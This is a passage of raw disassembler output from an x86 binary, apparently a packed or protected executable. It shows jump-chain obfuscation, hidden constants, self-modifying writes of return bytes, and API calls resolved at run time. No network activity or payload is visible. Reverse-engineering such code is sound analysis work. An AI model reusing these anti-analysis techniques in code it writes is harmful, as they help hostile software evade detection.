loc_44129B:				; CODE XREF: sub_439A2E+4CAj
		jnz	loc_439263
		jmp	loc_4472F6
; END OF FUNCTION CHUNK	FOR sub_439A2E
; ---------------------------------------------------------------------------
		push	esi
		jmp	sub_43D642
; ---------------------------------------------------------------------------
		or	eax, eax
		jnz	loc_43FE3A
		jmp	loc_44750A
; ---------------------------------------------------------------------------

loc_4412B9:				; DATA XREF: kgbikm34:0044AE80o
		mov	ds:off_41E128, eax
		lea	eax, sub_43F5F7
		mov	byte ptr [eax],	0C3h
		jmp	sub_43F5F7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F5F7

loc_4412CD:				; CODE XREF: sub_43F5F7j
		pop	edx
		mov	eax, [esp+0]
		jmp	loc_43CAE7
; END OF FUNCTION CHUNK	FOR sub_43F5F7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44368F

loc_4412D6:				; CODE XREF: sub_44368F:loc_43D4A4j
					; sub_44368F+2CDBj
		call	sub_4479D5
; END OF FUNCTION CHUNK	FOR sub_44368F
; START	OF FUNCTION CHUNK FOR sub_447B31

loc_4412DB:				; CODE XREF: sub_447B31+12j
		jmp	loc_43B322
; END OF FUNCTION CHUNK	FOR sub_447B31
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4421A1

loc_4412E0:				; CODE XREF: sub_4421A1+24Aj
		jmp	loc_44560F
; END OF FUNCTION CHUNK	FOR sub_4421A1
; ---------------------------------------------------------------------------
		push	0FFFFFFFFh
		call	sub_442C3F
		call	sub_442C37
; START	OF FUNCTION CHUNK FOR sub_43C7FB

loc_4412F1:				; CODE XREF: sub_43C7FB+7j
		jmp	loc_440D46
; END OF FUNCTION CHUNK	FOR sub_43C7FB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_438978

loc_4412F6:				; CODE XREF: sub_438978+48E9j
		push	ecx
		mov	ecx, edx
		xchg	ecx, [esp+0]
		call	sub_43D409
		mov	eax, 0F074E076h
		call	sub_43BF6F
		jmp	loc_4386D2
; END OF FUNCTION CHUNK	FOR sub_438978
; ---------------------------------------------------------------------------

loc_441310:				; CODE XREF: kgbikm34:0043C2FBj
		rol	edx, 6

; =============== S U B	R O U T	I N E =======================================



sub_441313	proc near		; CODE XREF: sub_43DC9A+520p
		xchg	eax, [esp+0]
		pop	eax
		test	al, al
		jnz	loc_440057
		push	437528h
		jmp	nullsub_348
sub_441313	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_441329:				; DATA XREF: sub_448E39:loc_442BA7o
		jnz	loc_44AE9B
		pop	edx
		mov	eax, [esp]
		push	edx
		call	sub_44BA42
		push	3F850B0Dh
		pop	eax
		add	eax, 0E09A25FEh
		jmp	loc_44994A
; ---------------------------------------------------------------------------

loc_44134A:				; DATA XREF: sub_4474D5-813Ao
		xchg	ecx, [esp]
		jmp	sub_43BF6F
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_159. PRESS KEYPAD	"+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_441353	proc near		; DATA XREF: sub_445088+Fo

; FUNCTION CHUNK AT 00438AC4 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00439315 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00444145 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0044DF38 SIZE 00000005 BYTES

		mov	edx, ebx
		pop	ebx
		rol	eax, 16h
		add	eax, 0A86B769Ch
		rol	eax, 10h
		jmp	loc_444145
sub_441353	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		push	3732DA3Dh
		jmp	sub_444BA3
; ---------------------------------------------------------------------------
		pushf
		jmp	sub_43B476
; ---------------------------------------------------------------------------

loc_441377:				; DATA XREF: sub_44DA77:loc_4397C0o
		push	ecx
		pushf
		push	0B5638A66h
		pop	ecx
		rol	ecx, 17h
		or	ecx, 0C175011Ah
		test	ecx, 1000000h
		jmp	loc_43A52A
; ---------------------------------------------------------------------------

locret_441393:				; CODE XREF: kgbikm34:00437807j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_437B11

loc_441394:				; CODE XREF: sub_437B11+5DB9j
		jmp	loc_448684
; END OF FUNCTION CHUNK	FOR sub_437B11
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44DAF3

loc_441399:				; CODE XREF: sub_44DAF3-7976j
		jnb	loc_44060B
		jmp	sub_43B574
; END OF FUNCTION CHUNK	FOR sub_44DAF3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43DD64

loc_4413A4:				; CODE XREF: sub_43DD64+5CEFj
		xchg	eax, [esp-4+arg_0]
		mov	ebp, eax
		xchg	ecx, [esp-4+arg_0]
		mov	eax, ecx
		jmp	loc_445D4E
; END OF FUNCTION CHUNK	FOR sub_43DD64
; ---------------------------------------------------------------------------

loc_4413B3:				; CODE XREF: kgbikm34:00445422j
		shr	ecx, 0Eh
		test	esi, 295B91B8h
		jmp	loc_443ABA
; ---------------------------------------------------------------------------

loc_4413C1:				; CODE XREF: kgbikm34:00447965j
		jl	near ptr dword_4374EC+52h
; START	OF FUNCTION CHUNK FOR sub_439BDE

loc_4413C7:				; CODE XREF: sub_439BDE+62F2j
		jmp	loc_447B86
; END OF FUNCTION CHUNK	FOR sub_439BDE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C99B

loc_4413CC:				; CODE XREF: sub_43C99B+Aj
		jmp	loc_44A960
; END OF FUNCTION CHUNK	FOR sub_43C99B
; ---------------------------------------------------------------------------
		db 3, 0F1h, 8Bh
		dd 6162E930h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43EB3F

loc_4413DA:				; CODE XREF: sub_43EB3F:loc_44664Dj
		mov	edx, [eax]
		mov	al, 1
		call	edx	; GetModuleHandleA
		pop	ebp
		xor	eax, eax
		mov	[ebp-4], eax
		push	9178A1FEh
		pop	eax
		jmp	loc_43E67B
; END OF FUNCTION CHUNK	FOR sub_43EB3F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444A5E

loc_4413F1:				; CODE XREF: sub_444A5E-1AC3j
		jge	loc_441B45
		sub	esi, 51B85EB7h
		add	ecx, 721C4DD8h
		rol	ecx, 11h
		jmp	loc_44C02F
; END OF FUNCTION CHUNK	FOR sub_444A5E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F65B

loc_44140B:				; CODE XREF: sub_43F65B+EBAAj
		call	sub_44E250

loc_441410:				; CODE XREF: sub_43BCAD:loc_4419A5j
		pop	ecx
		lea	eax, sub_44AD10
		mov	byte ptr [eax],	0C3h
		jmp	loc_442F30
; END OF FUNCTION CHUNK	FOR sub_43F65B
; ---------------------------------------------------------------------------
		push	eax
		push	3F7626EFh
		pop	eax
		and	eax, 7362B3DBh
		add	eax, 3124BC0h
		jmp	loc_4459AE
; ---------------------------------------------------------------------------

loc_441437:				; CODE XREF: kgbikm34:004465FDj
		sub	ecx, 7B9293h
; START	OF FUNCTION CHUNK FOR sub_4478CD

loc_44143D:				; CODE XREF: sub_4478CD:loc_4465F0j
		sub	ebx, 8F589BF3h
		and	ebx, 8AA8DBD5h
		add	ebx, 2115F45Fh
		xor	eax, ebx
		call	sub_4421A1
; END OF FUNCTION CHUNK	FOR sub_4478CD
; START	OF FUNCTION CHUNK FOR sub_43CAB5

loc_441456:				; CODE XREF: sub_43CAB5+15j
		jmp	loc_440D65
; END OF FUNCTION CHUNK	FOR sub_43CAB5
; ---------------------------------------------------------------------------
		jno	loc_447688
		add	edi, ebx
		jmp	sub_44962F
; ---------------------------------------------------------------------------
		mov	eax, 86B13FACh
		push	esi
		push	0D66A8C2Ch
		pop	esi
		jmp	loc_4375A7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F039

loc_441479:				; CODE XREF: sub_43F039+2652j
		jle	loc_440DF2

loc_44147F:				; CODE XREF: sub_43F039:loc_449E60j
		add	ebx, 0AE01B080h
		and	ebx, 0D87A15C7h
		add	ebx, 67FFCFDBh
		jmp	loc_44A070
; END OF FUNCTION CHUNK	FOR sub_43F039
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4397FF

loc_441496:				; CODE XREF: sub_4397FF:loc_44C7DAj
		or	ebx, 1B35968Ah
		and	ebx, 0CD13A70Fh
		add	ebx, 0EF167D1h
		sub	eax, ebx
		pop	ebx
		jmp	loc_43ECA4
; END OF FUNCTION CHUNK	FOR sub_4397FF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44087D

loc_4414B0:				; CODE XREF: sub_44087D+4140j
		add	ecx, 0B4EC2A19h
		cmp	ebx, ecx
		jmp	loc_43D8CF
; END OF FUNCTION CHUNK	FOR sub_44087D
; ---------------------------------------------------------------------------

loc_4414BD:				; CODE XREF: kgbikm34:0043C41Dj
		jle	loc_44AE4C
; START	OF FUNCTION CHUNK FOR sub_449ED2

loc_4414C3:				; CODE XREF: sub_449ED2:loc_43C40Cj
		add	ecx, 3AA4D808h
		xchg	ecx, [esp+0]
		jmp	sub_43BF6F
; END OF FUNCTION CHUNK	FOR sub_449ED2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B6E1

loc_4414D1:				; CODE XREF: sub_44B6E1:loc_43A5D2j
		xor	ebp, ecx
		rol	edi, 1Dh
		jmp	loc_43FA38
; END OF FUNCTION CHUNK	FOR sub_44B6E1

; =============== S U B	R O U T	I N E =======================================



sub_4414DB	proc near		; CODE XREF: kgbikm34:0043E2DFj
					; sub_439609+5696p

; FUNCTION CHUNK AT 0043EA73 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0044221A SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00445DE4 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00445F78 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044CECD SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044D09D SIZE 0000000F BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		jz	loc_43EA80
		cmp	eax, 0FFFFFFFFh
		jmp	loc_43EA73
sub_4414DB	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_437613

loc_4414ED:				; CODE XREF: sub_437613+1Aj
		jnz	loc_44CE25
; END OF FUNCTION CHUNK	FOR sub_437613
; START	OF FUNCTION CHUNK FOR sub_43D4E9

loc_4414F3:				; CODE XREF: sub_43D4E9+5009j
		jmp	loc_446A4E
; END OF FUNCTION CHUNK	FOR sub_43D4E9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A2AC

loc_4414F8:				; CODE XREF: sub_44A2AC-983Ej
		jmp	loc_4471B6
; END OF FUNCTION CHUNK	FOR sub_44A2AC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C019

loc_4414FD:				; CODE XREF: sub_43C019+3j
		jmp	loc_4408E7
; END OF FUNCTION CHUNK	FOR sub_43C019
; ---------------------------------------------------------------------------
		pop	edi
		jmp	loc_44CE20
; ---------------------------------------------------------------------------

loc_441508:				; CODE XREF: kgbikm34:0044E041j
		and	edx, 761A7Ah
		rol	edx, 11h
		add	edx, 0EB64143Bh
		xchg	edx, [esp]
		jmp	sub_43D409
; ---------------------------------------------------------------------------
		push	4295EF60h
		pop	eax
		jmp	loc_44DC3D
; ---------------------------------------------------------------------------
		pushf
		ror	ecx, 13h
		test	ebp, eax
		jmp	loc_44751D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44173C

loc_441535:				; CODE XREF: sub_44173C+11j
		cmp	dword ptr [ebp-4], 0
		jz	loc_4481A1
		push	offset loc_44CEE0
		jmp	nullsub_128
; END OF FUNCTION CHUNK	FOR sub_44173C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4474D5

loc_441549:				; CODE XREF: sub_4474D5:loc_43DCD8j
		push	6C491AD0h
		pop	eax
		rol	eax, 1
		or	eax, 3284CFE9h
		add	eax, 5AD9207h
		jmp	loc_43F5BE
; END OF FUNCTION CHUNK	FOR sub_4474D5
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_61. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_441563:				; CODE XREF: kgbikm34:00442694j
		jmp	loc_43853D
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_85. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449405

loc_441569:				; CODE XREF: sub_449405:loc_43D051j
		call	sub_44213E
; END OF FUNCTION CHUNK	FOR sub_449405
; START	OF FUNCTION CHUNK FOR sub_439609

loc_44156E:				; CODE XREF: sub_439609+14A17j
		jmp	loc_447BCA
; END OF FUNCTION CHUNK	FOR sub_439609
; ---------------------------------------------------------------------------

loc_441573:				; CODE XREF: kgbikm34:00444F1Fj
		jmp	locret_44827F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A6C7

loc_441578:				; CODE XREF: sub_43A6C7+85Ej
		jmp	loc_43CA2F
; END OF FUNCTION CHUNK	FOR sub_43A6C7

; =============== S U B	R O U T	I N E =======================================



sub_44157D	proc near		; CODE XREF: kgbikm34:0043ED45j
					; sub_44C093:loc_44309Bp

arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 0044CE10 SIZE 00000005 BYTES

		xchg	edi, [esp+0]
		pop	edi
		add	ebx, 4003EA87h

loc_441587:				; CODE XREF: kgbikm34:004411C9j
		popf
		xchg	ebx, [esp-8+arg_4]

loc_44158B:				; CODE XREF: kgbikm34:loc_43C29Bj
		jmp	loc_44CE10
sub_44157D	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_441590:				; CODE XREF: kgbikm34:loc_437F51j
		pop	edi
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B932

loc_441592:				; CODE XREF: sub_43B932+6j
					; sub_440488+6j
		rol	eax, 0Dh
		push	edi
		call	sub_443643

loc_44159B:				; CODE XREF: sub_44769E+16j
		jmp	loc_43D668
; END OF FUNCTION CHUNK	FOR sub_43B932
; ---------------------------------------------------------------------------

loc_4415A0:				; CODE XREF: kgbikm34:0044ABFAj
		cmp	ebp, esi
		jmp	loc_44D27C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4383A3

loc_4415A7:				; CODE XREF: sub_4383A3+63B4j
		xor	edx, 601FA851h
		cmp	edx, 0BE4B86A9h
		jmp	loc_44A01C
; END OF FUNCTION CHUNK	FOR sub_4383A3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449D87

loc_4415B8:				; CODE XREF: sub_449D87+31Ej
		not	ebx
		shr	esi, 1Fh
		xor	edi, edx
		jmp	loc_43A2AE
; END OF FUNCTION CHUNK	FOR sub_449D87
; ---------------------------------------------------------------------------
		cmp	ecx, 11638B27h
		jmp	loc_43C7F5
; ---------------------------------------------------------------------------
		popf
		sbb	edx, 4C66A3F8h
		jmp	sub_43CF41
; ---------------------------------------------------------------------------
		call	sub_44B64C
		push	offset sub_44252A
		jmp	locret_44CFCC
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_203. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4478CD

loc_4415EB:				; CODE XREF: sub_4478CD+6j
		jmp	loc_442F3C
; END OF FUNCTION CHUNK	FOR sub_4478CD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449D87

loc_4415F0:				; CODE XREF: sub_449D87-2852j
		jmp	loc_43764D
; END OF FUNCTION CHUNK	FOR sub_449D87
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43BF6F

loc_4415F5:				; CODE XREF: sub_43BF6F:loc_43FFA6j
		sub	edx, 0A8A67BA7h
		add	edx, 94E4900Bh
		mov	edx, [edx]
		or	edx, edx
		jnz	loc_440F3B
		jmp	loc_4434C2
; END OF FUNCTION CHUNK	FOR sub_43BF6F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443DF0

loc_441610:				; CODE XREF: sub_443DF0:loc_44ABF4j
		jl	loc_44A9A1
		xchg	edx, [ecx]
		add	edx, esi
		jmp	loc_44A9A1
; END OF FUNCTION CHUNK	FOR sub_443DF0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439A2E

loc_44161F:				; CODE XREF: sub_439A2E:loc_443EEFj
		jz	loc_43AE07
		jmp	loc_44C089
; END OF FUNCTION CHUNK	FOR sub_439A2E
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_244. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44262A

loc_44162B:				; CODE XREF: sub_44262A-862Bj
		jmp	loc_439FCE
; END OF FUNCTION CHUNK	FOR sub_44262A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439924

loc_441630:				; CODE XREF: sub_439924:loc_444412j
		pop	ebx
		or	ebx, 2C7374EBh
		add	ebx, 5348BA1Fh
		xchg	ebx, [esp-4+arg_0]
		jmp	nullsub_282
; END OF FUNCTION CHUNK	FOR sub_439924
; ---------------------------------------------------------------------------

loc_441645:				; DATA XREF: sub_43ABF4:loc_4432A1o
		mov	eax, [ebp-8]
		pop	ecx
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_44164C:				; CODE XREF: kgbikm34:00448B3Ej
		jmp	sub_44B537
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442B5D

loc_441651:				; CODE XREF: sub_442B5D+Dj
		jmp	loc_447895
; END OF FUNCTION CHUNK	FOR sub_442B5D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43ABF4

loc_441656:				; CODE XREF: sub_445779-AB97j
					; sub_43ABF4:loc_443294j
		xor	eax, eax
		mov	[ebp+var_8], eax
		jmp	loc_43C599
; END OF FUNCTION CHUNK	FOR sub_43ABF4
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_186. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_447B31

loc_441661:				; CODE XREF: sub_447B31-45Bj
		jmp	loc_44A668
; END OF FUNCTION CHUNK	FOR sub_447B31
; ---------------------------------------------------------------------------

loc_441666:				; CODE XREF: kgbikm34:0044188Bj
		jmp	loc_445AB4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449F77

loc_44166B:				; CODE XREF: sub_449F77-A6C4j
		jmp	loc_442323
; END OF FUNCTION CHUNK	FOR sub_449F77
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B34A

loc_441670:				; CODE XREF: sub_44B34A-13FD0j
		jmp	loc_43ECF7
; END OF FUNCTION CHUNK	FOR sub_44B34A

; =============== S U B	R O U T	I N E =======================================



sub_441675	proc near		; CODE XREF: sub_448C95+97Dj

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00448104 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 004482AF SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044B461 SIZE 00000005 BYTES

		push	ebp
		mov	ebp, eax
		xchg	ebp, [esp+4+var_4]
		push	eax
		jmp	loc_44B461
sub_441675	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F039

loc_441681:				; CODE XREF: sub_43F039+AE33j
		mov	esi, [ebx]
		sub	esi, ecx
		cmp	eax, 0EECB09ADh
		jmp	loc_441479
; END OF FUNCTION CHUNK	FOR sub_43F039
; ---------------------------------------------------------------------------
		xchg	eax, [edi]
		jmp	sub_437B32
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4455C3

loc_441697:				; CODE XREF: sub_4455C3+6F1Dj
		push	1CA4631h
		pop	esi
		rol	esi, 5
		add	esi, 0C6F919F8h
		push	offset loc_44D68F
		jmp	loc_44BC02
; END OF FUNCTION CHUNK	FOR sub_4455C3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F5F7

loc_4416B0:				; CODE XREF: sub_43F5F7:loc_449736j
		xor	eax, 7D7CFF80h
		sub	eax, 6B91731Dh
		rol	eax, 18h
		test	eax, 40h
		jmp	loc_443D52
; END OF FUNCTION CHUNK	FOR sub_43F5F7

; =============== S U B	R O U T	I N E =======================================



sub_4416CA	proc near		; CODE XREF: kgbikm34:0043D1F7j
					; sub_437954:loc_441F73p

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0043D202 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0044AC75 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0044B9D4 SIZE 00000005 BYTES

		xchg	edx, [esp+0]
		pop	edx
		mov	eax, [esp-4+arg_0]
		push	edx
		jmp	loc_44AC75
sub_4416CA	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_365. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44863B

loc_4416D8:				; CODE XREF: sub_44863B+7j
		jmp	nullsub_316
; END OF FUNCTION CHUNK	FOR sub_44863B

; =============== S U B	R O U T	I N E =======================================



sub_4416DD	proc near		; CODE XREF: sub_43E4C0-4ED5p
					; kgbikm34:0044CDD1j

arg_0		= dword	ptr  4

		xchg	eax, [esp+0]
		pop	eax
		xchg	esi, [esp-4+arg_0]
		push	offset loc_439E67
		jmp	nullsub_45
sub_4416DD	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43DD64

loc_4416EE:				; CODE XREF: sub_43DD64+771Aj
		cdq
		jmp	loc_443A48
; END OF FUNCTION CHUNK	FOR sub_43DD64
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_265. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D642

loc_4416F5:				; CODE XREF: sub_43D642+615Aj
		jmp	loc_43AEAF
; END OF FUNCTION CHUNK	FOR sub_43D642
; ---------------------------------------------------------------------------
		push	509256F0h
		pop	eax
		or	eax, 0D8D575AAh
		xor	eax, 64A4EE3Ah
		jmp	loc_43D31B

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_441711	proc near		; DATA XREF: sub_446AE3:loc_44DF5Bo

; FUNCTION CHUNK AT 004445FB SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044AEC3 SIZE 00000012 BYTES

		push	ebp
		mov	ebp, esp
		mov	esp, ebp
		pop	ebp
		mov	eax, ds:dword_43C584
		jmp	loc_4445FB
sub_441711	endp

; ---------------------------------------------------------------------------

loc_441722:				; CODE XREF: kgbikm34:004477E0j
		ja	loc_4396ED

; =============== S U B	R O U T	I N E =======================================



sub_441728	proc near		; CODE XREF: sub_4481F3+2977p
		xchg	edi, [esp+0]
		pop	edi
		jz	loc_444A67
		push	offset loc_43F99F
		jmp	nullsub_46
sub_441728	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_44173C	proc near		; CODE XREF: sub_4487F2:loc_449A38j

; FUNCTION CHUNK AT 00441535 SIZE 00000014 BYTES

		add	esp, 0FFFFFED8h

loc_441742:				; CODE XREF: kgbikm34:loc_445BDEj
		mov	[ebp-8], edx
		mov	[ebp-4], eax
		xor	eax, eax
		mov	[ebp-0Ch], eax
		jmp	loc_441535
sub_44173C	endp

; ---------------------------------------------------------------------------
		mov	eax, 0CB10B158h
		push	eax
		mov	eax, ebx
		xchg	eax, [esp]
		push	8DF5C214h
		xchg	ebp, [esp]
		mov	ebx, ebp
		jmp	loc_44873B
; ---------------------------------------------------------------------------
		xchg	esi, ebp
		jmp	loc_43BF93
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B0B7

loc_441773:				; CODE XREF: sub_43B0B7+165Cj
		jz	loc_446615
		jmp	loc_4446EB
; END OF FUNCTION CHUNK	FOR sub_43B0B7
; ---------------------------------------------------------------------------

locret_44177E:				; CODE XREF: kgbikm34:loc_442B8Fj
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442B15

loc_44177F:				; CODE XREF: sub_442B15-3059j
		jmp	nullsub_179
; END OF FUNCTION CHUNK	FOR sub_442B15

; =============== S U B	R O U T	I N E =======================================



sub_441784	proc near		; CODE XREF: kgbikm34:00443C4Ej
					; sub_444002+3018p

; FUNCTION CHUNK AT 00448B8F SIZE 00000005 BYTES

		xchg	eax, [esp+0]
		pop	eax
		shl	eax, 0Fh
		add	[ebp-8], eax
		push	offset loc_43F31E
		jmp	loc_448B8F
sub_441784	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C207

loc_441798:				; CODE XREF: sub_43C207+Fj
		add	ebx, 0ED3FF2F4h

loc_44179E:				; CODE XREF: sub_44BB9F-F982j
		xchg	ebx, [esp+0]
		jmp	loc_440BDA
; END OF FUNCTION CHUNK	FOR sub_43C207
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_250. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4441EB

loc_4417A7:				; CODE XREF: sub_4441EB-3F37j
		jmp	loc_449377
; END OF FUNCTION CHUNK	FOR sub_4441EB
; ---------------------------------------------------------------------------

loc_4417AC:				; CODE XREF: kgbikm34:0043FC68j
		jmp	loc_441AC7

; =============== S U B	R O U T	I N E =======================================



sub_4417B1	proc near		; CODE XREF: kgbikm34:0043CF3Cj
					; sub_448C95-69DDp

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 004426A8 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 004489EC SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044B2A9 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0044C208 SIZE 00000008 BYTES

		xchg	eax, [esp+0]
		pop	eax
		pop	edx
		mov	edx, [esp-8+arg_4]
		push	edx
		mov	edx, eax
		xchg	edx, [esp-4+arg_0]
		mov	eax, edx
		jmp	loc_44B2A9
sub_4417B1	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		jmp	ds:off_41E038
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CFA5

loc_4417CC:				; CODE XREF: sub_43CFA5+F621j
		jmp	nullsub_204
; END OF FUNCTION CHUNK	FOR sub_43CFA5
; ---------------------------------------------------------------------------

loc_4417D1:				; CODE XREF: kgbikm34:0043F280j
		jmp	loc_44CE3C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44114F

loc_4417D6:				; CODE XREF: sub_44114F:loc_441EF1j
					; sub_44B68D-1146j ...
		jno	loc_443D69
		call	sub_43DAFB

loc_4417E1:				; CODE XREF: sub_446E38+5FCDj
		jmp	loc_43B07A
; END OF FUNCTION CHUNK	FOR sub_44114F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446C8B

loc_4417E6:				; CODE XREF: sub_446C8B+1Dj
		jmp	loc_440FD5
; END OF FUNCTION CHUNK	FOR sub_446C8B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4407E7

loc_4417EB:				; CODE XREF: sub_4407E7-1DAFj
					; kgbikm34:00443569j
		jmp	loc_44A2F0
; END OF FUNCTION CHUNK	FOR sub_4407E7
; ---------------------------------------------------------------------------
		mov	eax, 205AA81Dh
		call	sub_43BF6F
		mov	ds:off_41E19C, eax
		lea	eax, loc_440D46
		mov	byte ptr [eax],	0C3h
		jmp	loc_44198E

; =============== S U B	R O U T	I N E =======================================



sub_44180E	proc near		; CODE XREF: sub_40E69C+40p
					; sub_4198BA+222p ...
		call	sub_441819
		jmp	ds:off_41E1A0
sub_44180E	endp


; =============== S U B	R O U T	I N E =======================================



sub_441819	proc near		; CODE XREF: sub_43EAEE-7AD3j
					; sub_44180Ep ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00437020 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0043A668 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0043BFD8 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00440582 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 004419BC SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00442F46 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00444D93 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00445FDB SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004461C5 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00446DC9 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00448085 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00449752 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00449D33 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0044D304 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0044D7C6 SIZE 00000005 BYTES

		jno	loc_437020
		jmp	loc_448085
sub_441819	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		jle	loc_445D75
		jmp	sub_437548
; ---------------------------------------------------------------------------
		sub	ecx, 8FF48573h
		jmp	sub_44D043
